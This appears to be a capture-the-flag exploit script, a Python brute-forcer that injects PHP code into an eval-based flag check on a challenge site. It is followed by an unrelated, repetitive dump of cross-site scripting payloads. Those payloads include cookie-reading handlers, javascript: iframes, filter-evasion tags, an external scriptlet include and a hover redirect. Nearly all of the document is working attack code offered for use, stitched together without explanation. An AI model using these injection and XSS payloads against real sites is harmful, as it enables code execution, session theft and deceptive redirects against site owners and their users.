check via eval unintended solution

exploit.py

from requests import get
# peng.solveme.kr - checkviaeval (web/410pt)
# made by munsiwoo

def add_length(argv) :
	result = argv
	e = 49 - len(argv)
	for x in range(e) :
		result += '/'
	return result

def main() :
	table = 'abcdef1234567890'
	uri = 'http://checkviaeval.solveme.peng.kr/?flag='

	flag = 'flag{'
	payload = "$x=flaf;$x{{3}}=g;$$x{{{}}}=='{}'?exit:1;"
	get_flag = (lambda x,y:payload.format(x,y))

	for x in range(len(flag), 50) :
		for y in table :
			response = get(uri + add_length(get_flag(x,y))).text

			if(len(response) == 0) :
				flag += y
				print(uri + get_flag(x,y))
				break

			if(y == '0') :
				print(flag + '}')
				exit(0)

if __name__ == '__main__' :
	main()

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E









































































<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";


">

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123

">

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123

<IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> ">

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123

"></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF ">

<IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123

">

<iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123

>

<IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr g'"></IFRAME>Hover the cursor to the LEFT of this Message

&ParamHeight=250 <IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME> ">

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123

">

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123

<iframe src=http://xss.rocks/scriptlet.html < <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> <iframe src=" javascript:prompt(1) "> <style>{font-family:'' <scRipt >alert(1) {Opera}